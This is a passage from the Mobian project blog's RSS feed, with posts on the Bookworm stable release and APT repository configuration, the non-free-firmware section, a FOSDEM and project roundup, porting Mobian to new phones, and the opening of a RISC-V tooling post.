      <link>https://blog.mobian.org/posts/2023/06/10/bookworm/</link>
      <pubDate>Sat, 10 Jun 2023 12:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2023/06/10/bookworm/</guid>
      <description>&lt;h2 id=&#34;debian-has-released-bookworm-and-so-has-mobian&#34;&gt;Debian has released &amp;ldquo;Bookworm&amp;rdquo; and so has Mobian!&lt;/h2&gt;
&lt;p&gt;According to schedule and on time Debian has managed to put out the Bookworm
release. Congratulations! In step with that release, Mobian is herewith
officially releasing its first stable release, codenamed &amp;hellip; tadaa &amp;hellip;
&amp;ldquo;Bookworm&amp;rdquo;!&lt;/p&gt;
&lt;h2 id=&#34;what-does-this-mean&#34;&gt;What does this mean?&lt;/h2&gt;
&lt;p&gt;A lot has happened since the release of the &lt;a href=&#34;https://blog.mobian.org/posts/2021/01/15/mobian-community-edition/&#34;&gt;Mobian community edition
PinePhone&lt;/a&gt;. But ever since its
inception, Mobian has been tracking the testing repository of Debian. The
previous release - Bullseye - was just not deemed suitable for mobile devices
yet.&lt;/p&gt;
&lt;p&gt;Fortunately, a lot has happened since then, and we can proudly claim that
Debian Bookworm is the first release that we deem to be mobile-friendly enough.
It is used as the base for our stable Mobian release.&lt;/p&gt;
&lt;p&gt;This means that, from now on, you will have the choice between sticking with
the first ever stable release or switching over to the next development
&amp;ldquo;branch&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;which-release-is-the-right-one-for-me&#34;&gt;Which release is the right one for me?&lt;/h3&gt;
&lt;p&gt;If you stick with Bookworm you will be getting a stable system, not in the
sense of bug-free, never-crashing software (does that even exist?), but as a
fixed set of software components that are known to work well together and don&amp;rsquo;t
rely on undefined behavior. The only updates you will receive will be targeted
ones, fixing either a major bug or a security vulnerability, and will be
thoroughly tested to minimize the risk of regression.&lt;/p&gt;
&lt;p&gt;With Bookworm, you can &lt;em&gt;depend&lt;/em&gt; on your device (to the extent permitted by the
stability of the included software) without having to fear that an upgrade
might alter its behavior in a negative way.&lt;/p&gt;
&lt;p&gt;This approach has one downside, though: version numbers for Bookworm packages
will be mostly frozen (except for aforementioned targeted updates) and you will
not receive any update bringing new functionality to your applications.&lt;/p&gt;
&lt;p&gt;New features will only be arriving in the &lt;em&gt;testing&lt;/em&gt; repositories of both Debian
and Mobian, as they convey the risk of introducing major bugs, and as such
should be reserved to users with sufficient knowledge of their system&amp;rsquo;s
internals and the ability to manually repair things that can (and &lt;strong&gt;will&lt;/strong&gt;!)
break over time.&lt;/p&gt;
&lt;p&gt;So in the end, you have to pick your poison: stick with a dependable device
with only targeted updates, or live fast on the edge of the new Debian testing
(which will become Trixie) and &lt;del&gt;die young&lt;/del&gt; accept the fact that updates can
occasionally break your system pretty badly. We will not be making that
decision for you.&lt;/p&gt;
&lt;h3 id=&#34;how-to-stick-to-stable-mobian&#34;&gt;How to stick to stable Mobian?&lt;/h3&gt;
&lt;p&gt;Unless you previously enabled the &lt;a href=&#34;https://blog.mobian.org/posts/2021/03/15/unstable-distro/&#34;&gt;staging repo&lt;/a&gt;,
chances are you already track Mobian Bookworm and don&amp;rsquo;t need to do anything.
You should ensure &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; contains the following lines:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;deb http://deb.debian.org/debian bookworm main non-free-firmware
deb http://security.debian.org/ bookworm-security main non-free-firmware
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Notes:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;if your &lt;code&gt;sources.list&lt;/code&gt; is lacking &lt;code&gt;non-free-firmware&lt;/code&gt; but your device
works as expected, you don&amp;rsquo;t need to add this component&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;if the entries contain &lt;code&gt;non-free&lt;/code&gt;, please change those to
&lt;code&gt;non-free-firmware&lt;/code&gt; unless you actually want to install non-free
packages other than firmware (in which case you probably should append
&lt;code&gt;non-free-firmware&lt;/code&gt; anyway)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Similarly, the &lt;code&gt;/etc/apt/sources.list.d/mobian.list&lt;/code&gt; file should have the
following contents:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;deb http://repo.mobian.org/ bookworm main non-free-firmware
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Notes:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;code&gt;non-free&lt;/code&gt; &lt;strong&gt;should&lt;/strong&gt; be replaced with &lt;code&gt;non-free-firmware&lt;/code&gt; in this file as
well; both components are identical for now, but we plan to drop &lt;code&gt;non-free&lt;/code&gt;
during the Trixie development cycle, so switching early will ensure your
system is ready for future major upgrades&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;if you don&amp;rsquo;t have a &lt;code&gt;mobian.list&lt;/code&gt; file under &lt;code&gt;/etc/apt/sources.list.d/&lt;/code&gt;
but &lt;code&gt;extrepo_mobian.sources&lt;/code&gt; instead, ensure the &lt;code&gt;Suites:&lt;/code&gt; line&amp;rsquo;s value
is &lt;code&gt;bookworm&lt;/code&gt; and &lt;code&gt;Components:&lt;/code&gt; contain &lt;code&gt;main&lt;/code&gt; and (optionally)
&lt;code&gt;non-free-firmware&lt;/code&gt;; alternatively, you can delete &lt;code&gt;extrepo_mobian.sources&lt;/code&gt;
and create &lt;code&gt;mobian.list&lt;/code&gt; with the expected contents&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We did our best to keep a clean upgrade path even for old Mobian installs.
However, there&amp;rsquo;s no way we can address every possible (corner) case, and we
expect some users (especially those with really old installs) will run into
issues we didn&amp;rsquo;t foresee while upgrading to bookworm. Therefore, we strongly
recommend that you start from a clean system by flashing the Bookworm image
corresponding to your device (backing up and restoring all your important files
in the process, of course). This will ensure you get rid of leftover obsolete
tweaks and benefit from all the improvements we made over time.&lt;/p&gt;
&lt;h3 id=&#34;what-about-bugfix-and-security-updates&#34;&gt;What about bugfix and security updates?&lt;/h3&gt;
&lt;p&gt;You will notice that the &lt;a href=&#34;https://repo.mobian.org/dists/&#34;&gt;Mobian repository&lt;/a&gt;
has grown a new entry: &lt;strong&gt;bookworm-updates&lt;/strong&gt;. This is intended to be the
repository where all our stable updates land, including security fixes. The
latter will however quickly migrate to the main bookworm repo (from a few hours
to a few days, depending on the criticity of the vulnerability and potential
side-effects of the proposed fix). &amp;ldquo;Normal&amp;rdquo; (i.e. bugfix-only) updates will
migrate to &lt;code&gt;bookworm&lt;/code&gt; for each new point release of Debian Bookworm.&lt;/p&gt;
&lt;p&gt;We welcome users willing to test those updates (and report any regression they
might cause) before they migrate, as this would help us maintain the stability
of the overall distribution; those users should therefore add the following
line to their &lt;code&gt;mobian.list&lt;/code&gt; file:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;deb http://repo.mobian.org/ bookworm-updates main non-free-firmware
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Please be aware that doing so will expose you to issues/regressions caused by
updated packages, though the risk will be far less important than users opting
for the development repositories.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&#34;how-to-track-the-new-testing-trixie&#34;&gt;How to track the &amp;ldquo;new&amp;rdquo; testing (Trixie)?&lt;/h3&gt;
&lt;p&gt;If you have chosen the Red Pill, you should first ensure both your
&lt;code&gt;sources.list&lt;/code&gt; and &lt;code&gt;mobian.list&lt;/code&gt; files are configured appropriately (see above
section) and &lt;strong&gt;MUST&lt;/strong&gt; be 100% sure your system is fully up-to-date (ideally
from a freshly flashed Bookworm image).&lt;/p&gt;
&lt;p&gt;You can then execute the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;drop the &lt;code&gt;bookworm-security&lt;/code&gt; line from &lt;code&gt;sources.list&lt;/code&gt; and replace
&lt;code&gt;bookworm&lt;/code&gt; with &lt;code&gt;trixie&lt;/code&gt; in the remaining line&lt;/li&gt;
&lt;li&gt;replace &lt;code&gt;bookworm&lt;/code&gt; with &lt;code&gt;trixie&lt;/code&gt; in &lt;code&gt;mobian.list&lt;/code&gt; (drop the
&lt;code&gt;bookworm-updates&lt;/code&gt; line if you previously added it)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Be aware that in the weeks following a Debian stable release
there is a huge influx of updated packages and big transitions to new versions,
clearing the backlog that has been building up during the freeze period. We
would advise people to not immediately switch over to the new Trixie/testing
distribution. Wait for a few weeks/months until things have calmed down and
switch over then, unless you want to live through every breakage that might
ensue post-release.&lt;/p&gt;
&lt;h2 id=&#34;where-are-the-downloads-and-installers-for-mobian-bookworm&#34;&gt;Where are the downloads and installers for Mobian Bookworm?&lt;/h2&gt;
&lt;p&gt;As usual, images can be found &lt;a href=&#34;https://images.mobian.org/&#34;&gt;here&lt;/a&gt;.
Just select your device (family) and download the image.&lt;/p&gt;
&lt;p&gt;For the &lt;a href=&#34;https://images.mobian.org/pinephone/installer/&#34;&gt;PinePhone&lt;/a&gt;
and the &lt;a href=&#34;https://images.mobian.org/pinephonepro/installer/&#34;&gt;PinePhonePro&lt;/a&gt;
installer images are available in addition to the regular live images.&lt;/p&gt;
&lt;p&gt;Instructions for verifying and flashing the image can be found below.&lt;/p&gt;
&lt;h2 id=&#34;are-there-installation-instructions&#34;&gt;Are there installation instructions?&lt;/h2&gt;
&lt;p&gt;Instructions verified to be working by a Mobian/Debian Developer can be found
in the Debian wiki:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.debian.org/InstallingDebianOn/Purism/Librem5Phone&#34;&gt;Librem 5&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.debian.org/InstallingDebianOn/PINE64/PinePhone&#34;&gt;PinePhone&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://wiki.debian.org/InstallingDebianOn/PINE64/PinePhonePro&#34;&gt;PinePhone Pro&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For other devices (or ones which haven&amp;rsquo;t been blessed by a Mobian/Debian
Developer) please see the &lt;a href=&#34;https://wiki.mobian.org/doku.php?id=install&#34;&gt;community wiki&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;a-peak-behind-the-curtain&#34;&gt;A peak behind the curtain&lt;/h2&gt;
&lt;p&gt;We (and the larger community) have been very busy in the last two years
and we&amp;rsquo;re excited to ship (and maintain going forward) our first stable image!&lt;/p&gt;
&lt;p&gt;Here are some of the highlights of this release:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Solid support for MMS, visual voicemail and other bits and pieces (thanks
kop316!)&lt;/li&gt;
&lt;li&gt;Kernel CI machinery which eases rebasing patches needed for our supported
devices (thanks a-wai and undef!)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/mobian1/droid-juicer&#34;&gt;droid-juicer&lt;/a&gt; for extracting
firmware from Android devices (thanks a-wai!)&lt;/li&gt;
&lt;li&gt;GNOME core application all adaptive (modulo the cases where they aren&amp;rsquo;t)
(thanks GNOME!)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://phosh.mobi&#34;&gt;phosh&lt;/a&gt; and related components have seen all sorts of
improvements (thanks agx!)&lt;/li&gt;
&lt;li&gt;More mature SIP support in Calls (thanks devrtz!)&lt;/li&gt;
&lt;li&gt;sxmo/swmo made it into Debian (thanks jochensp!)&lt;/li&gt;
&lt;li&gt;Plasma Mobile core packages also made it into Debian, although very few
applications are available for now (thanks Marco!)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/mobian1/phog&#34;&gt;phog&lt;/a&gt; (the PHOne Greeter) can be used to
switch the &amp;ldquo;desktop&amp;rdquo; environment on login (thanks a-wai!)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course there have been a lot more added features, fixed bugs and other
improvements which are way too numerous to list. Have a look
&lt;a href=&#34;https://www.debian.org/News/2023/20230610&#34;&gt;here&lt;/a&gt; for more details on what
changed in Debian.&lt;/p&gt;
&lt;p&gt;If you want to know more nitty gritty details how we prepared for bookworm,
check out our &lt;a href=&#34;https://wiki.debian.org/Teams/Mobian/Meetings/2023-06-03&#34;&gt;Bookworm release TODO/checklist&lt;/a&gt;,
as well as the activity on the &lt;a href=&#34;https://salsa.debian.org/Mobian-team&#34;&gt;Mobian&lt;/a&gt;
and &lt;a href=&#34;https://salsa.debian.org/DebianOnMobile-team/&#34;&gt;DebianOnMobile&lt;/a&gt; teams on
Salsa.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>The non-free-firmware repository</title>
      <link>https://blog.mobian.org/posts/2023/03/11/non-free-firmware/</link>
      <pubDate>Sat, 11 Mar 2023 12:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2023/03/11/non-free-firmware/</guid>
      <description>&lt;h2 id=&#34;pinephone-and-pinephonepro-owners-and-others-please-change-your-config&#34;&gt;PinePhone and PinePhonePro Owners (and others), please change your config&lt;/h2&gt;
&lt;p&gt;PinePhonePro users might get nagging messages about packages being held back right now&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Please add the &lt;code&gt;non-free-firmware&lt;/code&gt; section to the Debian repository line in &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;introducing-the-non-free-firmware-section&#34;&gt;Introducing the non-free-firmware section&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: slightly reworded first paragraph.&lt;/p&gt;
&lt;p&gt;Piggybacking on Debian is great, but it also means we need to track changes that occur in Debian.&lt;/p&gt;
&lt;p&gt;The Debian project has &lt;a href=&#34;https://www.debian.org/vote/2022/vote_003#textb&#34;&gt;decided&lt;/a&gt; to include non-free-firmware in their installer images for hardware enablement reasons
and a better out of the box user experience.
Therefore firmware file have been moved out of the &lt;code&gt;non-free&lt;/code&gt; section and into the new &lt;strong&gt;&lt;code&gt;non-free-firmware&lt;/code&gt;&lt;/strong&gt; section in the &lt;a href=&#34;https://ftp.debian.org/debian/dists/bookworm/&#34;&gt;debian repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Why does this matter to Mobian users? The Wifi firmware for the PinePhone and PinePhonePro has migrated to the upstream Debian repository and the &lt;a href=&#34;https://packages.debian.org/bookworm/firmware-realtek-rtl8723cs-bt&#34;&gt;firmware-realtek-rtl8723cs-bt&lt;/a&gt; (PinePhone) and &lt;a href=&#34;https://packages.debian.org/bookworm/firmware-brcm80211&#34;&gt;firmware-brcm80211&lt;/a&gt; (PinePhone Pro) packages are now in the new &lt;code&gt;non-free-firmware&lt;/code&gt; section. This means at least PinePhonePro users need to add that section now, but it does not hurt for other devices too and we recommend everyone to make this change.&lt;/p&gt;
&lt;p&gt;So mobian users, head over to the file &lt;code&gt;/etc/apt/sources.list&lt;/code&gt; and edit the line starting with &lt;code&gt;deb http://deb.debian.org&lt;/code&gt;. It should end with (some of) the sections &lt;code&gt;main non-free&lt;/code&gt;. Just change &lt;code&gt;non-free&lt;/code&gt; to &lt;code&gt;non-free-firmware&lt;/code&gt;, or add &lt;code&gt;non-free-firmware&lt;/code&gt; (delimited by a space) at the end of that line if you still want access to non-free software which are not only firmware packages.&lt;/p&gt;
&lt;p&gt;Finally, &lt;code&gt;apt update &amp;amp;&amp;amp; apt upgrade&lt;/code&gt; and you should be on the latest firmware on the upstream Debian repository.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;ve lost network access on your PinePhone Pro, you can download the package manually using the above link (or &lt;code&gt;apt download firmware-brcm80211&lt;/code&gt; on another Debian Bookworm machine), transfer the file to your phone over USB and install it manually with &lt;code&gt;dpkg -i firmware-brcm80211_20230210-2_all.deb&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>These months in Mobian: February/March 2023</title>
      <link>https://blog.mobian.org/posts/2023/03/10/tmim/</link>
      <pubDate>Fri, 10 Mar 2023 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2023/03/10/tmim/</guid>
      <description>&lt;p&gt;March isn&amp;rsquo;t even over yet and we are already summing up what has
happened in both February and March. Dang, are we fast&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;fosdem&#34;&gt;FOSDEM&lt;/h2&gt;
&lt;p&gt;February 2023 began with a bang: finally a physical &lt;a href=&#34;https://fosdem.org/2023/&#34;&gt;FOSDEM
conference&lt;/a&gt; in Brussels, and a few (or
rather, plenty of) mobile Linux people organized a physical devroom on
&amp;ldquo;FOSS on mobile Linux&amp;rdquo;. Many submissions on various topics, from many
distros and projects, of which 10 were selected.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://cdn.fosstodon.org/media_attachments/files/109/807/554/702/252/011/original/40bf37281b12cb54.jpg&#34; alt=&#34;A-wai next to his presentation in the dev
room&#34; title=&#34;a-wai explaining Mobian at FOSDEM&#34;&gt; (Photo by &lt;a href=&#34;https://fosstodon.org/@mobian/109807566055878705&#34;&gt;spaetz&lt;/a&gt; under CC-0)&lt;/p&gt;
&lt;p&gt;Directly relevant were talks on &amp;ldquo;&lt;a href=&#34;https://fosdem.org/2023/schedule/event/phosh/&#34;&gt;What&amp;rsquo;s new in the world of phosh?&lt;/a&gt;&amp;rdquo; and
&amp;ldquo;&lt;a href=&#34;https://fosdem.org/2023/schedule/event/mobian_to_stable_and_beyond/&#34;&gt;Mobian: to stable&amp;hellip; and beyond!&lt;/a&gt;&amp;rdquo;. But also others, such as the &lt;a href=&#34;https://fosdem.org/2023/schedule/event/ondev2_installer/&#34;&gt;talk on ondev2&lt;/a&gt;, a new
cross-distro installer, which Mobian will potentially use. Many other
interesting talks on convergence, so if you have not already, check
out the &lt;a href=&#34;https://fosdem.org/2023/schedule/track/foss_on_mobile_devices/&#34;&gt;whole track&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Another highlight was the cross-distro stand with an unusual high
density of Linux phones being put on a single table, and a dense
crowd of people being interested in Mobile on Linux. Some were
well-know names and faces, that are already familiar with the state of
things, while others were surprised that Linux on Mobile &amp;ldquo;is a thing&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://cdn.fosstodon.org/media_attachments/files/109/812/594/706/152/480/original/6b01d35e58a723ae.jpeg&#34; alt=&#34;A table full of mobile Linux phones&#34; title=&#34;A table full of mobile phones running all kinds of weird and
wonderful stuff&#34;&gt;&lt;/p&gt;
&lt;p&gt;Most importantly though, it was one of those rare moments in life to
physically meet your collaborators. And while we did not manage to do
a live-podcast as the postmarketOS contributors did, we did have beer,
dinner, talks, and fun together. Sometimes, these are the most
important times in a collaboration!&lt;/p&gt;
&lt;p&gt;And yes, we will try to have Mobian stickers next time around! :-)&lt;/p&gt;
&lt;h2 id=&#34;website&#34;&gt;Website&lt;/h2&gt;
&lt;p&gt;Our Website does not contain a lot of content, but previously it still
used some Javascript in order to provide a flying-in animation (and
possibly other things). Thanks to community member Sven J. Grewe, we
have now done away with the Javascript entirely (still keeping the
animation) and our root page now consists of 1 html, 1 css and 7
icons/images, loading pretty fast. Thank you Sven, contributions are
always welcome!&lt;/p&gt;
&lt;h2 id=&#34;debian-bookworm&#34;&gt;Debian Bookworm&lt;/h2&gt;
&lt;p&gt;Debian has started its soft freeze towards the Bookworm release. This
implies: no new packages, and existing ones have a longer
transitioning time from unstable into Bookworm. In a few days, the
hard freeze will occur. This will also stop the inflow of new
versions, in order to settle on a stable basis for Bookworm. What does
this mean for Mobian? We won&amp;rsquo;t benefit from new releases and versions
of upstream projects anymore (which is bad) but we will be able to
start focusing on getting what we already have into a good shape. The
Pinephones currently run on kernel 6.1, providing a decent and current
release. As announced in a-wai&amp;rsquo;s talk, there will be a stable
bookworm-based mobian, and some time after the bookworm release, we
will start tracking the next testing release (Trixie) in addition to
the stable branch.&lt;/p&gt;
&lt;p&gt;There are a few glitches that still need to be fixed before a possible
release, for instance, mesa 22.3.6 contains an important bug fix,
preventing some applications from crashing, that we hope will make the
transition into bookworm soonish.&lt;/p&gt;
&lt;p&gt;We are aware that bluetooth has gotten a bit more unreliable in the
past few weeks, but we are not exactly sure why yet. It is &lt;em&gt;not&lt;/em&gt; just
regressions because we (or rather Debian) switched from pulseaudio to
pipewire. Unfortunately debugging Bluetooth is not easy.&lt;/p&gt;
&lt;p&gt;Overall, we are pretty happy with the current state of things and
confident that Bookworm will be the first Debian distribution that can
provide a good stable base for a mobile device.&lt;/p&gt;
&lt;h2 id=&#34;plasma-beams-on-full-strength&#34;&gt;Plasma beams on full strength!&lt;/h2&gt;
&lt;p&gt;We are very happy that it was possible to squeeze in Plasma mobile
into the Debian repository right before the freeze. Nobody can accuse
us of being a single window manager distro. Phosh, SXMO and Plasma are
all available at your choice. Beam me up, Scotty!&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Porting Mobian to New Devices</title>
      <link>https://blog.mobian.org/posts/2023/03/07/porting-to-new-devices/</link>
      <pubDate>Tue, 07 Mar 2023 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2023/03/07/porting-to-new-devices/</guid>
      <description>&lt;p&gt;As Mobian (and Mobile Linux in general) has gotten more popular, many folks have
started to ask if Mobian supports their particular phone. While we wish we lived in
a world where installing Mobian to a new phone model was just as easy as installing
Debian to a new laptop, things are (unfortunately) much more complicated than that.&lt;/p&gt;
&lt;h3 id=&#34;but-my-phone-runs-android-and-android-runs-on-linux&#34;&gt;But my phone runs Android, and Android runs on Linux!&lt;/h3&gt;
&lt;p&gt;It is true that Android is Linux-based, but Android Linux diverged from Mobile Linux
a long time ago. Android Linux images are simply incompatible with Mobile Linux,
unless several compatibilty layers are installed.&lt;/p&gt;
&lt;p&gt;In addition, the Android kernel shipped by manufacturers are based on LTS kernels,
and consist of millions of lines of &lt;a href=&#34;https://not.mainline.space/&#34;&gt;out of tree code&lt;/a&gt;.
Much of this code cannot be upstreamed due to code quality, and sometimes the
code is of dubious legal origin. The kernel that the phone is based off of
is often ancient. In some cases, current devices might ship a version of Linux 3.19
which was released in 2015 and no longer gets updates from upstream.&lt;/p&gt;
&lt;p&gt;This poses two problems for us: 1) they are full of security flaws and 2) their
API is oldish and different from what current Mobile Linux environments need (both
because it is old API and because it provides Android-specific API).
One would be stuck with a ancient and unmaintainable kernel that one could not
improve and a kernel that provides an incompatible interface to Mobile Linux.&lt;/p&gt;
&lt;p&gt;Some distributions make that tradeoff and use these compatibility layers to bridge
the interface between Android kernels and Mobile Linux. One such is libhybris.
They basically choose to live with a kernel that one cannot modify and improve
in a significant manner. In addition, many kernels are &lt;a href=&#34;https://github.com/orgs/LineageOS/repositories?q=kernel&#34;&gt;device&lt;/a&gt;
specific&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, which in turn creates a higher maintenance burden for every phone
added. Adding the compatibility layer does provide an advantage in that the
distribution can port to many more phones much quicker.&lt;/p&gt;
&lt;p&gt;Mobian&amp;rsquo;s ultimate goal is to erase the differences between Mobian and Debian.
As such, we do not wish to use compatibilty layers to get more phones working. We
would prefer to use a compatible kernel. As a consequence, we tend to work on
devices that align with our goals, or devices that have already have good mainline
support. However, even with this support, many devices lack mainline drivers to
give a good out of the box experience. Many of these phones cannot even boot
a mainline kernel, much less provide any usefulness to an end user.&lt;/p&gt;
&lt;h3 id=&#34;so-how-can-i-tell-if-my-phone-can-even-run-mobile-linux&#34;&gt;So how can I tell if my phone can even run Mobile Linux?&lt;/h3&gt;
&lt;p&gt;Our friends at &lt;a href=&#34;https://wiki.postmarketos.org/wiki/Devices&#34;&gt;postmarketOS&lt;/a&gt; have
a great wiki on devices that are supported and what features on those phones are
supported. If your device is not on this list, then most likely no one has even
tried to figure out if it can run on Mobile Linux (or porting it over is impossible).&lt;/p&gt;
&lt;h3 id=&#34;ok-i-want-to-port-mobian-to-my-phone&#34;&gt;Ok, I want to port Mobian to my phone!&lt;/h3&gt;
&lt;p&gt;Great! We are happy to guide on how to do this. However, please understand this
is not a task that will be fast. The PinePhone and PinePhone Pro have a
vibrant community working to bring Mobile Linux to their phones, and
even after years of work, it is incomplete.&lt;/p&gt;
&lt;p&gt;If you wish to port over a new device with Mobian, please come chat with us
&lt;a href=&#34;https://matrix.to/#/#mobian-ports:matrix.org&#34;&gt;here&lt;/a&gt; and we can assist you.
Please understand that should you choose to do this, we are asking you to keep
maintaining it.&lt;/p&gt;
&lt;h3 id=&#34;can-i-give-you-my-phone-and-then-work-on-it&#34;&gt;Can I give you my phone and then work on it?&lt;/h3&gt;
&lt;p&gt;Mobian&amp;rsquo;s development team are mainly volunteers, and quite simply do not have the
time to port new devices. If you wish for your phone to run Mobian, the best
option is to start working on the porting process yourself.&lt;/p&gt;
&lt;h3 id=&#34;so-what-is-my-best-option-to-run-mobile-linux&#34;&gt;So what is my best option to run Mobile Linux?&lt;/h3&gt;
&lt;p&gt;If you want to use your current phone, some distributions, such as
&lt;a href=&#34;https://devices.ubuntu-touch.io/&#34;&gt;Ubuntu Touch&lt;/a&gt; and
&lt;a href=&#34;https://devices.droidian.org/devices/&#34;&gt;Droidian&lt;/a&gt;, have a compatibility layer to
work with Android Linux kernels, which can be an option to get into things but
brings in the downsides of outdated Android kernels as explained above.&lt;/p&gt;
&lt;p&gt;Your best option however is to purchase a phone that has good Mobile Linux support.
Please support device manufacturers that try to upstream their devices to mainline
Linux! Though Purism&amp;rsquo;s &lt;a href=&#34;https://puri.sm/products/librem-5/&#34;&gt;Librem 5&lt;/a&gt; is expensive,
they actively put in work to upstream their phone to mainline Linux (and greatly
contribute to Mobile Linux). The Pine64 &lt;a href=&#34;https://www.pine64.org/pinephone/&#34;&gt;Pinephone&lt;/a&gt;
and &lt;a href=&#34;https://www.pine64.org/pinephonepro/&#34;&gt;Pinephone Pro&lt;/a&gt; has great community
support to bring Mobile Linux to their devices.&lt;/p&gt;
&lt;p&gt;The community has also put in a lot of effort to mainline some phones, so buying
one of those phones is also a good option. See &lt;a href=&#34;https://wiki.mobian-project.org/doku.php?id=devices&#34;&gt;here&lt;/a&gt;
for a list of supported phones.&lt;/p&gt;
&lt;h2 id=&#34;final-words&#34;&gt;Final words&lt;/h2&gt;
&lt;p&gt;While we would really enjoy living in a world where installing Mobian on a phone
is as easy as installing Debian on a Desktop/Laptop, the reality is that many
phone manufacturers do not make any attempts to help with this goal. Porting
a new device to Mobile Linux takes a lot of time and effort, even with the support
of a large community.&lt;/p&gt;
&lt;p&gt;Author&amp;rsquo;s note: A big thank you to the &lt;a href=&#34;https://postmarketos.org/&#34;&gt;postmarketOS&lt;/a&gt; folks
for helping out with this post!&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Sometimes the kernel can be SoC and Vendor specific. For example, there&amp;rsquo;s a generic downstream sdm845 LG kernel, but there&amp;rsquo;s no generic downstream LG kernel or generic sdm845 kernel.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Off-topic: The importance of efficient tooling</title>
      <link>https://blog.mobian.org/posts/2023/01/25/efficient-tooling/</link>
      <pubDate>Wed, 25 Jan 2023 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2023/01/25/efficient-tooling/</guid>
      <description>&lt;p&gt;You&amp;rsquo;re probably aware of the existence and hopes tied to the rise of the
&lt;a href=&#34;https://en.wikipedia.org/wiki/RISC-V&#34;&gt;RISC-V&lt;/a&gt; architecture, which means we
should prepare for future (yet hypothetical) RISC-V Linux-based mobile devices.&lt;/p&gt;
&lt;p&gt;The first step in this journey being the ability to build binary packages for
this architecture, we purchased a StarFive VisionFive v2 SBC with the goal to
turn it into a (Debian-powered, of course!) GitLab CI runner. And that&amp;rsquo;s
exactly where the tools developed to build Mobian came in really handy!&lt;/p&gt;
&lt;h2 id=&#34;debian-on-risc-v&#34;&gt;Debian on RISC-V&lt;/h2&gt;
&lt;p&gt;64-bits RISC-V (or &lt;code&gt;riscv64&lt;/code&gt; in Debian terms) is not an architecture officially
supported by upstream Debian. However, the vast majority of packages are built
and available to &lt;code&gt;riscv64&lt;/code&gt; devices thanks to the &lt;a href=&#34;https://www.ports.debian.org/&#34;&gt;Debian Ports&lt;/a&gt;
initiative.&lt;/p&gt;
&lt;p&gt;As an &lt;a href=&#34;https://www.debian.org/ports/#portlist-unreleased&#34;&gt;unofficial port&lt;/a&gt;, the
&lt;code&gt;riscv64&lt;/code&gt; packages live in a separate &lt;a href=&#34;http://ftp.ports.debian.org/debian-ports/&#34;&gt;archive&lt;/a&gt;,
providing only the &lt;code&gt;unstable&lt;/code&gt; and &lt;code&gt;experimental&lt;/code&gt; suites. Those details aside,
all the usual Debian tools work in the exact same way they do on other
architectures.&lt;/p&gt;
&lt;p&gt;With this in mind, why not use the tools we&amp;rsquo;ve been developing for Mobian and
